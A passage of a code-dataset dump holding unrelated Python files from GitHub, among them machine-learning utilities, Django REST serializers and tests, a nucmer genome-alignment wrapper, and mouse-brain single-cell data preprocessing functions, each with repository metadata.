returns\n\ndef get_baseline(returns,kappa,prev_baseline):\n    mean_return = returns.mean(0)\n    return (1-kappa)*mean_return + kappa*prev_baseline\n\ndef pad_tensorlist(l,num_step):\n    myl = l.copy()\n    myl[0] = torch.cat([myl[0],torch.zeros(num_step-len(myl[0]))])\n    return pad_sequence(myl,batch_first=True)\n\ndef flat_grad(grads):\n    grad_flatten = []\n    for grad in grads:\n        grad_flatten.append(grad.view(-1))\n    grad_flatten = torch.cat(grad_flatten)\n    return grad_flatten\n\ndef flat_hessian(hessians):\n    hessians_flatten = []\n    for hessian in hessians:\n        hessians_flatten.append(hessian.contiguous().view(-1))\n    hessians_flatten = torch.cat(hessians_flatten).data\n    return hessians_flatten\n\ndef flat_params(model):\n    params = []\n    for param in model.parameters():\n        params.append(param.data.view(-1))\n    params_flatten = torch.cat(params)\n    return params_flatten\n\ndef update_model(model, new_params):\n    index = 0\n    for params in model.parameters():\n        params_length = len(params.view(-1))\n        new_param = new_params[index: index + params_length]\n        new_param = new_param.view(params.size())\n        params.data.copy_(new_param)\n        index += params_length\n        \ndef update_grad(model, new_grads):\n    index = 0\n    for params in model.parameters():\n        grads_length = len(params.grad.view(-1))\n        new_grad = new_grads[index: index + grads_length]\n        new_grad = new_grad.view(params.grad.size())\n        params.grad.copy_(new_grad)\n        index += grads_length\n        \ndef kl_divergence(p, q):\n    return torch.where(p != 0, p * torch.log(p / q), p).sum(-1)\n\nclass adam_opt():\n    def __init__(self, lr, beta1=0.9, beta2=0.999):\n        self.fix = (lr,beta1,beta2)\n        self.var = (0,0)\n    def step(self, grad):\n        lr,beta1,beta2 = self.fix\n        m,v = self.var\n        m = beta1*m + (1-beta1)*grad\n        v = beta2*v + (1-beta2)*grad**2\n        self.var = (m,v)\n        return lr*m/np.sqrt(v)\n    \ndef get_entropies(p):\n    return -(p*torch.log(p)).sum(-1)\n\ndef meas_prob(p):\n    prob = p.cpu().detach().numpy()\n    prob = prob[...,:4]\n    return prob.min(),prob.max(),prob.mean()","repo_name":"jpmarceaux/QuantumHardwareSubgroup","sub_path":"to_sort/NaturalPolicyGradient-ThreeQubitCode/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75170253952","text":"from django.contrib.auth.models import User\nfrom django.db.models.aggregates import Avg\nfrom django.db.models.expressions import F\nfrom django.test import TestCase\nfrom django.db.models import Count, Case, When\n\nfrom store.serializers import BookSerializer\nfrom store.models import Book, UserBookRelation\n\n\nclass BookSerializerTestCase(TestCase):\n    def test_serializer(self):\n        user = User.objects.create(\n            username='testusername',\n        )\n        user2 = User.objects.create(\n            username='testusername2',\n        )\n        user3 = User.objects.create(\n            username='testusername3',\n        )\n        book1 = Book.objects.create(\n            title='Test Book',\n            price=100.23,\n            discount=50,\n            author_name='Test User',\n        )\n        book2 = Book.objects.create(\n            title='Test Book2',\n            price=150.99,\n            discount=30.99,\n            author_name='Test User2',\n        )\n\n        UserBookRelation.objects.create(user=user, book=book1, like=True, rate=4,)\n        UserBookRelation.objects.create(user=user2, book=book1, like=True, rate=5)\n        UserBookRelation.objects.create(user=user3, book=book1, like=True, rate=4)\n\n        UserBookRelation.objects.create(user=user, book=book2, like=True, rate=5,)\n        UserBookRelation.objects.create(user=user2, book=book2, like=True, rate=3)\n        UserBookRelation.objects.create(user=user3, book=book2, like=False)\n\n        books = Book.objects.all().annotate(\n            annotated_like=Count(\n                Case(\n                    When(\n                        userbookrelation__like=True, \n                        then=1\n                        )\n                    )\n                ),\n            rating=Avg(\n                'userbookrelation__rate'\n                ),\n            price_after_discount=F('price') - F('discount')\n            ).order_by('id')\n\n        serializer_data = BookSerializer(books, many=True).data\n        expected_data = [\n            {\n                'id': book1.id,\n                'title': 'Test Book',\n                'price': '100.23',\n                'author_name': 'Test User',\n                'likes_count': 3,\n                'annotated_like': 3,\n                'rating': '4.33',\n                'price_after_discount': '50.23'\n            },\n            {\n                'id': book2.id,\n                'title': 'Test Book2',\n                'price': '150.99',\n                'author_name': 'Test User2',\n                'likes_count': 2,\n                'annotated_like': 2,\n                'rating': '4.00',\n                'price_after_discount': '120.00'\n            }\n        ]\n        self.assertEqual(expected_data, serializer_data)\n","repo_name":"Caesark1/django-drf","sub_path":"book_project/store/tests/test_serializers.py","file_name":"test_serializers.py","file_ext":"py","file_size_in_byte":2736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33871714990","text":"#!bin/bash python\n\nimport subprocess as sb\nimport argparse\n\n\nparser = argparse.ArgumentParser(description=\"Run nucmer analysis.\")\nparser.add_argument(\"-r\", help=\"Reference\")\nparser.add_argument(\"-q\", help=\"Query\")\nparser.add_argument(\"-p\", help=\"Prefix\")\nparser.add_argument(\"-v\", action=\"store_true\", help=\"Retrieve stdout of commands\")\nargs = parser.parse_args()\nprint(args)\n\ndef run_nucmer(contig1, contig2, prefix, verbiosity):\n    nucmer_command = [\"nucmer\", \"--maxmatch\", \"--nosimplify\",\n                         \"-p\", prefix, contig1, contig2]\n\n    nucmer = sb.Popen(nucmer_command, stdout=sb.PIPE, stderr=sb.PIPE)\n    nucmer_out, nucmer_err = nucmer.communicate()\n\n    if verbiosity:\n        print(nucmer_out, nucmer_err, flush=True)\n\ndef run_showcoord(prefix, verbiosity):\n    delta = prefix + \".delta\"\n    outfile = prefix + \".nucmer\"\n    showcoord_command = [\"show-coords\", \"-lrcT\", delta]\n\n    with open(outfile, 'w') as out:\n        showcoord = sb.Popen(showcoord_command, stdout=out, stderr=sb.PIPE)\n        showcoord_out, showcoord_err = showcoord.communicate()\n\n    if verbiosity:\n        print(showcoord_out, showcoord_err, flush=True)\n\ndef main(args):\n    run_nucmer(args.r, args.q, args.p, args.v)\n    run_showcoord(args.p, args.v)\n\nmain(args)\n","repo_name":"mclement18/python-scripts-bio","sub_path":"nucmer.py","file_name":"nucmer.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33782853361","text":"\"\"\"This is the gluon tutorial\"\"\"\nimport mxnet as mx\nfrom mxnet import autograd, gluon\nimport numpy as np\n\nDATA_CTX = mx.cpu(0)\nMODEL_CTX = mx.cpu(0)\n\ndef linear_function(x, a0=2, a1=3, c=4):\n    return x[0] * a0 + x[1] * a1 + c\n\ndef linear_function2(x, a0=2, a1=3, c=4):\n    return x[:, 0] * a0 + x[:, 1] * a1 + c\n\ndef main():\n    num_inputs = 2\n    num_outputs = 1\n    num_examples = 10000\n    batch_size=5\n\n    x_train = [np.random.uniform(size=(num_inputs)) for idx in range(num_examples)]\n    y_train = [linear_function(x_train[idx]) + np.random.uniform() * 0.1 for idx in range(num_examples)]\n    train_dataset = mx.gluon.data.ArrayDataset(x_train, y_train)\n    train_dataloader = mx.gluon.data.DataLoader(dataset=train_dataset,\n                                                batch_size=batch_size,\n                                                shuffle=True)\n    for idx, (data, label) in enumerate(train_dataloader):\n        d = data\n        l = label\n\n    x_train2 = mx.nd.random.uniform(shape=(num_examples, num_inputs), ctx=DATA_CTX)\n    noise2 = mx.nd.random.uniform(shape=(num_examples, ), ctx=DATA_CTX) * 0.1\n    y_train2 = linear_function2(x_train2) + noise2\n    train_dataset2 = mx.gluon.data.ArrayDataset(x_train2, y_train2)\n    train_dataloader2 = mx.gluon.data.DataLoader(dataset=train_dataset2,\n                                                batch_size=batch_size,\n                                                shuffle=True)\n    for idx, (data, label) in enumerate(train_dataloader2):\n        d = data\n        l = label\n\n    x_train3 = [mx.nd.random.uniform(shape=(num_inputs), ctx=DATA_CTX) for idx in range(num_examples)]\n    y_train3 = [linear_function(x_train3[idx]) + mx.nd.random.uniform(ctx=DATA_CTX) * 0.1 for idx in range(num_examples)]\n    train_dataset3 = mx.gluon.data.ArrayDataset(x_train3, y_train3)\n    train_dataloader3 = mx.gluon.data.DataLoader(dataset=train_dataset3,\n                                                batch_size=batch_size,\n                                                shuffle=True)\n    for idx, (data, label) in enumerate(train_dataloader3):\n        d = data\n        l = label\n\n    x_train4 = np.random.uniform(size=(num_examples, num_inputs))\n    noise4 = np.random.uniform(size=(num_examples, )) * 0.1\n    y_train4 = linear_function2(x_train4) + noise4\n    train_dataset4 = mx.gluon.data.ArrayDataset(x_train4, y_train4)\n    train_dataloader4 = mx.gluon.data.DataLoader(dataset=train_dataset4,\n                                                batch_size=batch_size,\n                                                shuffle=True)\n    for idx, (data, label) in enumerate(train_dataloader4):\n        d = data\n        l = label\n\n\ndef profile_main():\n    \"\"\"Profile the function\"\"\"\n    from line_profiler import LineProfiler\n    lp = LineProfiler()\n\n    functions = [main]\n\n    for fnc in functions:\n        lp.add_function(fnc)\n\n    lp_wrapper = lp(main)\n    result = lp_wrapper()\n    lp.print_stats()\n\nif (__name__ == \"__main__\"):\n    profile_main()","repo_name":"jgolebiowski/coding-workspace","sub_path":"python-mxnet/tutorials/gluon-profile_dataloaders.py","file_name":"gluon-profile_dataloaders.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"22552345463","text":"from rest_framework import serializers\n\nfrom .models import (\n    Departamento, Carrera, Plan, MallaObligatoria, MallaElectiva, Ramo, ConjuntoRamos\n)\n\n\nclass DepartamentoSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = Departamento\n        fields = ['id', 'nombre']\n\n\nclass CarreraSerializer(serializers.ModelSerializer):\n    departamento = serializers.SlugRelatedField(read_only=True, slug_field='nombre')\n    departamento_id = serializers.PrimaryKeyRelatedField(\n        source='departamento',\n        queryset=Departamento.objects.all(),\n    )\n    tipo_carrera_display = serializers.CharField(\n        source='get_tipo_carrera_display', read_only=True)\n\n    class Meta:\n        model = Carrera\n        fields = [\n            'id', 'departamento', 'departamento_id', 'nombre', 'tipo_carrera',\n            'tipo_carrera_display'\n        ]\n\n\nclass PlanSerializer(serializers.ModelSerializer):\n    nombre = serializers.CharField(source='__str__', read_only=True)\n    carrera = CarreraSerializer(read_only=True)\n    carrera_id = serializers.PrimaryKeyRelatedField(\n        source='carrera',\n        queryset=Carrera.objects.all(),\n    )\n\n    class Meta:\n        model = Plan\n        fields = ['id', 'nombre', 'carrera', 'carrera_id', 'version']\n\n\nclass PlanCortoSerializer(serializers.ModelSerializer):\n    nombre = serializers.CharField(source='__str__', read_only=True)\n\n    class Meta:\n        model = Plan\n        fields = ['id', 'nombre']\n\n\nclass PlanInfoSerializer(serializers.ModelSerializer):\n    carrera = serializers.SlugRelatedField(read_only=True, slug_field='nombre')\n    carrera_id = serializers.PrimaryKeyRelatedField(\n        source='carrera', queryset=Carrera.objects.all())\n    carrera_tipo = serializers.CharField(source='carrera.get_tipo_carrera_display', read_only=True)\n    depto = serializers.SlugRelatedField(\n        source='carrera.departamento', read_only=True, slug_field='nombre')\n\n    class Meta:\n        model = Plan\n        fields = ['id', 'version', 'carrera', 'carrera_id', 'carrera_tipo', 'depto', 'link_decreto']\n\n\nclass RamoCortoSerializer(serializers.ModelSerializer):\n    equivalencias = serializers.SlugRelatedField(\n        slug_field='codigo', many=True, read_only=True)\n    equivalencias_ids = serializers.PrimaryKeyRelatedField(\n        source='equivalencias', many=True, write_only=True,\n        queryset=Ramo.objects.all(), required=False)\n\n    class Meta:\n        model = Ramo\n        fields = ['id', 'codigo', 'nombre', 'creditos', 'equivalencias', 'equivalencias_ids']\n\n\nclass RamoSerializer(serializers.ModelSerializer):\n    requisitos = serializers.SlugRelatedField(\n        slug_field='codigo', many=True, read_only=True)\n    requisitos_ids = serializers.PrimaryKeyRelatedField(\n        source='requisitos', many=True, write_only=True,\n        queryset=Ramo.objects.all(), required=False)\n\n    equivalencias = serializers.SlugRelatedField(\n        slug_field='codigo', many=True, read_only=True)\n    equivalencias_ids = serializers.PrimaryKeyRelatedField(\n        source='equivalencias', many=True, write_only=True,\n        queryset=Ramo.objects.all(), required=False)\n\n    class Meta:\n        model = Ramo\n        fields = [\n            'id', 'departamento', 'codigo', 'nombre', 'creditos', 'requisitos', 'requisitos_ids', 'requisito_nivel',\n            'equivalencias', 'requisito_creditaje', 'equivalencias_ids',\n        ]\n\n\nclass MallaObligatoriaSerializer(serializers.ModelSerializer):\n    ramo = RamoSerializer(read_only=True)\n    ramo_id = serializers.PrimaryKeyRelatedField(\n        source='ramo', write_only=True, queryset=Ramo.objects.all(), required=False\n    )\n\n    class Meta:\n        model = MallaObligatoria\n        fields = ['semestre', 'tipo_formacion', 'ramo', 'ramo_id']\n\n\nclass MallaElectivaSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = MallaElectiva\n        fields = ['semestre', 'tipo_formacion', 'nombre', 'conjunto_ramos', 'creditos']\n\n\nclass ConjuntoRamosSerializer(serializers.ModelSerializer):\n    ramos = RamoCortoSerializer(many=True, required=False, read_only=True)\n    ramos_ids = serializers.PrimaryKeyRelatedField(\n        source='ramos', many=True, write_only=True, queryset=Ramo.objects.all())\n\n    class Meta:\n        model = ConjuntoRamos\n        fields = ['id', 'nombre', 'ramos', 'ramos_ids']\n\n\nclass MallaPlanSerializer(serializers.ModelSerializer):\n    nombre = serializers.CharField(source='__str__', read_only=True)\n    malla_obligatoria = MallaObligatoriaSerializer(many=True, required=True)\n    malla_electiva = MallaElectivaSerializer(many=True, required=True)\n\n    class Meta:\n        model = Plan\n        fields = ['id', 'nombre', 'malla_obligatoria', 'malla_electiva']\n\n    def update(self, instance, validated_data):\n        malla_obligatoria = validated_data.pop('malla_obligatoria')\n\n        # eliminar obsoletas\n        ids_obligatorios = [malla.get('ramo').id for malla in malla_obligatoria]\n        MallaObligatoria.objects.filter(plan=instance).exclude(ramo__in=ids_obligatorios).delete()\n\n        # crear nuevas o actualizar antiguas\n        for malla in malla_obligatoria:\n            MallaObligatoria.objects.update_or_create(\n                plan=instance,\n                ramo=malla.get('ramo'),\n                defaults={**malla},\n            )\n\n        # no hay llave primaria para actualizar malla electiva, por lo que solo se eliminan todas\n        # las anteriores y se crean las enviadas\n        malla_electiva = validated_data.pop('malla_electiva')\n        MallaElectiva.objects.filter(plan=instance).delete()\n        for malla in malla_electiva:\n            MallaElectiva.objects.create(plan=instance, **malla)\n\n        return instance\n","repo_name":"cvargas91/sga","sub_path":"academica/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":5706,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41772304007","text":"#!/usr/bin/python3\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('source_file')\nparser.add_argument('target_file')\nparser.add_argument('-s', '--separator', default='|||')\n\nargs = parser.parse_args()\n\nwith open(args.source_file) as src_file, open(args.target_file) as trg_file:\n    for src, trg in zip(src_file, trg_file):\n        line = ' '.join([src.rstrip(), args.separator, trg.rstrip()])\n        print(line)\n\n","repo_name":"alex-berard/seq2seq","sub_path":"scripts/join.py","file_name":"join.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":387,"dataset":"github-code","pt":"60"}
+{"seq_id":"9692472445","text":"import anndata\nimport random\n\nfrom preprocess import load_mousebrain_data\nfrom preprocess import load_mouseFC_data\nfrom preprocess import load_mouseprotocol_data\nfrom preprocess import load_mouseAllen_data\n\n# ==== process mouse data\ndef process_mousebrain_data(data_dir, result_dir, ind1, ind2, region=\"FC\",\n        celltype_gran=0, curate=False):\n    '''Process Frontal Cortex from one ind to another\n    @ind: P60FCAldh1l1Rep1/P60FCCx3cr1Rep1/P60FCRep1/P60FCRep2/P60FCRep3/P60FCRep4/P60FCRep6\n    @celltype_gran: granularity of cell types. 0: major cell types, 1: sub-celltypes\n    @purify: whether to purify the training dataset\n    @purify_method: purify using distance or SVM\n    @curate: whether to curate mouse brain data by combining different neurons/interneurons\n    '''\n    train_adata = load_mousebrain_data.load_brain_adata(data_dir, region=region,\n            ind=ind1, celltype_gran=celltype_gran, curate=curate)\n    test_adata = load_mousebrain_data.load_brain_adata(data_dir, region=region,\n            ind=ind2, celltype_gran=celltype_gran, curate=curate)\n    return train_adata, test_adata\n\ndef process_mousebrain_multiinds_data(data_dir, result_dir, sample_ind, pred_ind, \n        region=\"FC\", sample=False, sample_seed=0, celltype_gran=0):\n    '''Process mousebrain data from multiple individuals to another\n\n    @sample_ind: downsample to a certain individual number\n    @pred_ind: the predicted individual\n    '''\n    ## individuals for brain regions\n    FC_inds = [\"P60FCAldh1l1Rep1\", \"P60FCCx3cr1Rep1\", \"P60FCRep1\", \"P60FCRep2\",\n            \"P60FCRep3\", \"P60FCRep4\", \"P60FCRep6\"]\n    HC_inds = [\"P60HippoRep1\", \"P60HippoRep2\", \"P60HippoRep3\",\n            \"P60HippoRep4\", \"P60HippoRep5\", \"P60HippoRep6\"]\n\n    if region == \"FC\":\n        exclude_list = FC_inds\n    elif region == \"HC\":\n        exclude_list = HC_inds\n    exclude_list.remove(pred_ind)\n    exclude_inds = '_'.join(exclude_list)\n    train_adata = load_mousebrain_data.load_brain_adata(data_dir, region=region,\n            ind=exclude_inds, celltype_gran=celltype_gran)\n\n    ## sample to number of cells when compared to the sample_id\n    if sample:\n        avg_number = train_adata.shape[0] // len(exclude_list)\n\n        print(\"=== Downsample to number:\", avg_number)\n        random.seed(sample_seed)\n        sampled_cells = random.sample(list(train_adata.obs_names), k=avg_number)\n        train_adata = train_adata[sampled_cells]\n\n    test_adata = load_mousebrain_data.load_brain_adata(data_dir, region=region,\n            ind=pred_ind, celltype_gran=celltype_gran)\n    return train_adata, test_adata\n\ndef process_mousebrain_regions(data_dir, result_dir, region1, region2,\n        celltype_gran=0):\n    ''' Use one region to predict another\n    can allow region_individual input\n\n    @celltype_gran: with sub-cell types and check ARI\n    '''\n    ## get region information and individuals\n    regions1 = region1.split('_')\n    regions2 = region2.split('_')\n\n    region1 = regions1[0]\n    if len(regions1) > 1:\n        regions1_inds = '_'.join(regions1[1:])\n    else:\n        regions1_inds = None\n\n    region2 = regions2[0]\n    if len(regions2) > 1:\n        regions2_inds = '_'.join(regions2[1:])\n    else:\n        regions2_inds = None\n\n    ## get train/test anndata\n    train_adata = load_mousebrain_data.load_brain_adata(data_dir, region=region1,\n            ind=regions1_inds, celltype_gran=celltype_gran, curate=True)\n    test_adata = load_mousebrain_data.load_brain_adata(data_dir, region=region2,\n            ind=regions2_inds, celltype_gran=celltype_gran, curate=True)\n    return train_adata, test_adata\n\n\n## === process mouse FC data\ndef process_mousebrain_FC_stage(data_dir, result_dir, stage1, stage2,\n        celltype_gran=0):\n    '''Use one stage to predict another stage\n    '''\n    train_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=stage1,\n            celltype_gran=celltype_gran)\n    test_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=stage2,\n            celltype_gran=celltype_gran)\n    return train_adata, test_adata\n\ndef process_mousebrain_FC_datasets(data_dir, result_dir, dataset1_input, dataset2_input, \n        sample=False, sample_seed=0, celltype_gran=0):\n    '''Use FC from one dataset to predict another\n\n    @dataset1_input: \"FC_inds\", if sample == True, \n        the inds indicate the number of cells to downsample\n    @dataset2_input: \"Adult_inds\"\n    the above two parameters can be interchangable\n    '''\n    dataset1_split = dataset1_input.split('_')\n    dataset2_split = dataset2_input.split('_')\n\n    ## identify where the dataset points to\n    regions = [\"FC\", \"HC\", \"CB\", \"STR\", \"SN\", \"PC\"]\n    stages = [\"Adult\", \"P21\"]\n\n    dataset1_input = dataset1_split[0]\n    if len(dataset1_split) > 1:\n        dataset1_inds = dataset1_split[1:]\n        dataset1_inds = '_'.join(dataset1_inds)\n    else:\n        dataset1_inds = None\n\n    dataset2_input = dataset2_split[0]\n    if len(dataset2_split) > 1:\n        dataset2_inds = dataset2_split[1:]\n        dataset2_inds = '_'.join(dataset2_inds)\n    else:\n        dataset2_inds = None\n\n    if dataset1_input in regions:\n        train_adata = load_mousebrain_data.load_brain_adata(data_dir, \n                region=dataset1_input, ind=dataset1_inds, curate=True)\n    else:\n        info = dataset1_input.split('-')\n        if info[0] in stages:\n            if len(info) > 1:\n                train_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=info[0],\n                    treatment=info[1], curate=True)\n            else:\n                train_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=info[0],\n                    ind=dataset1_inds, curate=True)\n\n    if dataset2_input in regions:\n        test_adata = load_mousebrain_data.load_brain_adata(data_dir,\n                region=dataset2_input, ind=dataset2_inds, curate=True)\n    else:\n        info = dataset2_input.split('-')\n        if info[0] in stages:\n            if len(info) > 1:\n                test_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=info[0],\n                    treatment=info[1], curate=True)\n            else:\n                test_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=info[0],\n                    ind=dataset2_inds, curate=True)\n        \n    if sample:\n        ## sample number to the given individual cell numbers\n        avg_number = train_adata.shape[0]\n        if dataset1_input == \"FC\":\n            train_adata = load_mousebrain_data.load_brain_adata(data_dir,\n                    region=dataset1_input, ind=None, curate=True)\n        \n        if dataset1_input == \"Adult\":\n            train_adata = load_mouseFC_data.load_FC_adata(data_dir, dataset1_input,\n                    ind=None, curate=True)\n\n        random.seed(sample_seed)\n        sampled_cells = random.sample(list(train_adata.obs_names), k=avg_number)\n        train_adata = train_adata[sampled_cells]\n    return train_adata, test_adata\n\n## Process Mouse cortex protocols datasets\ndef process_mousecortex_protocols_mouseFC_data(data_dir, result_dir, \n        input1, input2, curate=False):\n    '''process both mousecortex protocols and mouse FC data to predict\n\n    Note here we can only do major cell types because Cortex data does not \n    provide sub-cell types\n\n    @input1/input2: MouseProtocol+exp+protocols_inds, mouseFC_inds\n    @curate: whether to curate the datasets\n    '''\n    ## load train and test adata\n    input1_list = input1.split('_')\n    input1_dataset = input1_list[0]\n    if len(input1_list) > 1:\n        input1_inds = '_'.join(input1_list[1:])\n    else:\n        input1_inds = None\n\n    input2_list = input2.split('_')\n    input2_dataset = input2_list[0]\n    if len(input2_list) > 1:\n        input2_inds = '_'.join(input2_list[1:])\n    else:\n        input2_inds = None\n\n    ## extract train and test adata accordingly\n    if \"mouseFC\" in input1_dataset:\n        train_adata = load_mousebrain_data.load_brain_adata(data_dir, region=\"FC\",\n                ind=input1_inds, celltype_gran=0, curate=True)\n    elif \"MouseProtocol\" in input1_dataset:\n        info = input1_dataset.split('+')\n        exp = info[1]\n        protocol = info[2]\n\n        if exp == \"Both\":\n            train_adata = load_mouseprotocol_data.load_mouseprotocol_adata(data_dir,\n                    exp=None, protocol=protocol, curate=True)\n        else:\n            train_adata = load_mouseprotocol_data.load_mouseprotocol_adata(data_dir,\n                    exp=exp, protocol=protocol, curate=True)\n\n    if \"mouseFC\" in input2_dataset:\n        test_adata = load_mousebrain_data.load_brain_adata(data_dir, region=\"FC\",\n                ind=input2_inds, celltype_gran=0, curate=True)\n    elif \"MouseProtocol\" in input2_dataset:\n        info = input2_dataset.split('+')\n        exp = info[1]\n        protocol = info[2]\n\n        if exp == \"Both\":\n            test_adata = load_mouseprotocol_data.load_mouseprotocol_adata(data_dir,\n                    exp=None, protocol=protocol, curate=True)\n        else:\n            test_adata = load_mouseprotocol_data.load_mouseprotocol_adata(data_dir,\n                    exp=exp, protocol=protocol, curate=True)\n    return train_adata, test_adata\n\ndef process_FCdatasets_mouseFC_data(data_dir, result_dir, datasets_ref, mousebrain_tgt,\n        celltype_gran=0, curate=False):\n    '''Combine mouse brain protocol + pFC datasets together to predict the \n    mouse FC target individual\n\n    @datasets_ref: MouseProtocol+Both+DroNc-seq_pFC+Adult+Saline\n    @mousebrain_tgt: mousebrain dataset with certain targets\n    '''\n    datasets_list = datasets_ref.split('_')\n    adata_list = []\n    for dataset in datasets_list:\n        infos = dataset.split('+')\n        dataset_name = infos[0]\n        if dataset_name == \"MouseProtocol\":\n            exp = infos[1]\n            protocol = infos[2]\n            if exp == \"Both\":\n                adata = load_mouseprotocol_data.load_mouseprotocol_adata(data_dir,\n                        exp=None, protocol=protocol, curate=curate)\n            else:\n                adata = load_mouseprotocol_data.load_mouseprotocol_adata(data_dur,\n                        exp=exp, protocol=protocol, curate=curate)\n        elif dataset_name == \"pFC\":\n            devstage = infos[1]\n            treatment = infos[2]\n            adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=devstage,\n                    treatment=treatment, celltype_gran=celltype_gran, curate=curate)\n        adata_list.append(adata)\n\n    ## find common genes and concatenate adata\n    common_columns = ['barcode', 'nGene', 'nUMI', 'percent.mito', 'cell.type']\n    for adata in adata_list:\n        adata_obs = adata.obs[common_columns]\n        adata.obs = adata_obs\n    train_adata = anndata.AnnData.concatenate(*adata_list, join='inner')\n    del adata_list  ## release space\n\n    ## get target individuals list\n    tgt_list = mousebrain_tgt.split('_')\n    region = tgt_list[0]\n    if len(tgt_list) > 1:\n        tgt_inds = '_'.join(tgt_list[1:])\n    else:\n        tgt_inds = None\n\n    test_adata = load_mousebrain_data.load_brain_adata(data_dir, region=region,\n            ind=tgt_inds, celltype_gran=celltype_gran, curate=curate)\n    return train_adata, test_adata\n\n\n# --- add Allen Brain dataset\ndef process_allenbrain_SS_data(data_dir, result_dir, train_pct=0.8,\n        sample_seed=0, celltype_gran=0, curate=True):\n    '''Randomly select train/test from Allen Brain Smart-Seqv4 to do cross-validation\n\n    @ train_pct: percentage selected for training\n    '''\n    adata = load_mouseAllen_data.load_mouseAllen_SS_data(data_dir, curate=curate)\n    random.seed(sample_seed)\n    train_cells = random.sample(adata.obs_names.tolist(), round(train_pct*adata.shape[0]))\n    train_adata = adata[train_cells]\n    test_cells = list(set(adata.obs_names) - set(train_cells))\n    test_adata = adata[test_cells]\n    return train_adata, test_adata\n\n\ndef process_allenbrain_10x_data(data_dir, result_dir, ind1, ind2, \n        celltype_gran=0, curate=True):\n    '''Predict using Allen Brain dataset from one individual to another\n    @ind: 371230 (M, P55), 371232 (F, P56), 372312 (M, P52), 372314 (M, P53), 381296 (F, P55)\n    @celltype_gran: granularity of cell types. 0: major cell types, 1: sub-celltypes\n    @curate: whether to curate mouse brain data by combining different neurons/interneurons\n    '''\n    ## in case to read data multiple times\n    adata = load_mouseAllen_data.load_mouseAllen_10X_data(data_dir, curate=curate)\n    train_cells = adata.obs[adata.obs[\"external_donor_name_label\"].isin(ind1.split('_'))].index\n    train_adata = adata[train_cells]\n    test_cells = adata.obs[adata.obs[\"external_donor_name_label\"].isin(ind2.split('_'))].index\n    test_adata = adata[test_cells]\n    return train_adata, test_adata\n\ndef process_allenbrain_cross_data(data_dir, result_dir, dataset1, dataset2=\"Allen\",\n        sample_seed=0, celltype_gran=0, curate=True):\n    '''Predict allenbrain FACS-sorted SSv4 data 20% test cells\n\n    @ dataset1: individual FC_P60FCRep1 or pFC_PFCSample1\n    @ dataset2: Allen\n    @ curate: whether to curate mouse brain cell types\n    '''\n    ## 20% test cells from allen brain dataset\n    adata = load_mouseAllen_data.load_mouseAllen_SS_data(data_dir, curate=curate)\n    random.seed(sample_seed)\n    train_cells = random.sample(adata.obs_names.tolist(), round(0.8*adata.shape[0]))\n    test_cells = list(set(adata.obs_names) - set(train_cells))\n    test_adata = adata[test_cells]\n\n    ## construct training dataset\n    if \"FC\" == dataset1:\n        train_adata = load_mousebrain_data.load_brain_adata(data_dir, region=\"FC\",\n            ind=\"P60FCRep1\", celltype_gran=celltype_gran, curate=curate)\n    if \"pFC\" == dataset1:\n        train_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage=\"Adult\",\n            ind=\"PFCSample1\", curate=curate)\n    return train_adata, test_adata\n\ndef process_mousebrain_crossdataset_inds_data(data_dir, result_dir, ref_inds, tgt_inds='mFC_P60FCCx3cr1Rep1',\n        celltype_gran=0, curate=True):\n    '''Predict mouse FC target individual using pFC individuals and allenbrain\n\n    @ ref_inds: pFC_inds+allen_inds\n    @ target_ind: FC_P60FCCx3cr1Rep1\n    '''\n    adata_list = []\n    dataset_inds_list = ref_inds.split('+')\n    for dataset_ind in dataset_inds_list:\n        if 'mFC' in dataset_ind:\n            FC_inds = dataset_ind.replace('mFC_', '')\n            FC_adata = load_mousebrain_data.load_brain_adata(data_dir, region=\"FC\",\n                    ind=FC_inds, curate=curate)\n            adata_list.append(FC_adata)\n        if 'pFC' in dataset_ind:\n            pFC_inds = dataset_ind.replace('pFC_', '')\n            pFC_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage='Adult', ind=pFC_inds, curate=curate)\n            adata_list.append(pFC_adata)\n        if 'allen' in dataset_ind:\n            allen_inds = dataset_ind.replace('allen_', '')\n            allen_adata = load_mouseAllen_data.load_mouseAllen_10X_data(data_dir, ind=allen_inds, curate=curate)\n            adata_list.append(allen_adata)\n    train_adata = anndata.AnnData.concatenate(*adata_list, join='inner')\n    del adata_list ## release memory\n\n    ## same as reference, for simplification, I just copied and pasted here\n    adata_list = []\n    dataset_inds_list = tgt_inds.split('+')\n    for dataset_ind in dataset_inds_list:\n        if 'mFC' in dataset_ind:\n            FC_inds = dataset_ind.replace('mFC_', '')\n            FC_adata = load_mousebrain_data.load_brain_adata(data_dir, region=\"FC\",\n                    ind=FC_inds, curate=curate)\n            adata_list.append(FC_adata)\n        if 'pFC' in dataset_ind:\n            pFC_inds = dataset_ind.replace('pFC_', '')\n            pFC_adata = load_mouseFC_data.load_FC_adata(data_dir, devstage='Adult', ind=pFC_inds, curate=curate)\n            adata_list.append(pFC_adata)\n        if 'allen' in dataset_ind:\n            allen_inds = dataset_ind.replace('allen_', '')\n            allen_adata = load_mouseAllen_data.load_mouseAllen_10X_data(data_dir, ind=allen_inds, curate=curate)\n            adata_list.append(allen_adata)\n    